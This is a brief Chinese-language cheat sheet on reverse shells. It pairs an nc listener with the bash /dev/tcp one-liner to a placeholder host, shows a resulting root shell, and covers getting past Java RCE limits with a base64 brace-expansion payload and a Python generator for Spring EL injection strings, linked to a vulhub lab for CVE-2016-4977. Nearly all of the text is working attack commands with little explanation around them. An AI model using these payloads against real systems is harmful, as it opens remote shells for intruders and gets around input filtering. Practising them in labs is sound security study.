1. 在A机器打开侦听端口
nc -l 9333
2.在B机器反弹shell
bash -i >& /dev/tcp/x.x.x.x/9333 0>&1
对于有些机器默认的shell不是bash的话,则应使用
bash -c "bash -i >& /dev/tcp/x.x.x.x/9333 0>&1"
其中,x.x.x.x请替换为A机器的ip
此时,查看A机器的shell已经打开B机器的shell,可以执行相应的shell操作
stonedeMacBook-Pro:~ stone$ nc -l 9333
root@6ed1367bab09:/usr/local/tomcat#
3.java反弹shell的限制与绕过方式
http://www.jackson-t.ca/runtime-exec-payloads.html
1)将命令base64编码
echo 'bash -i >& /dev/tcp/127.0.0.1/9333 0>&1'|base64
2)得到在shell终端中可以执行的反弹shell指令
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTMzMyAwPiYxCg==}|{base64,-d}|{bash,-i}
TODO:在(1)中编码的部分已经编码了bash -i,为啥在(2)中还要再来一次呢,不求甚解
3)在java RCE中再封装一层,得到
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTMzMyAwPiYxCg==}|{base64,-d}|{bash,-i}
4)如果编码格式过不了,可以进一步编码
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2016-4977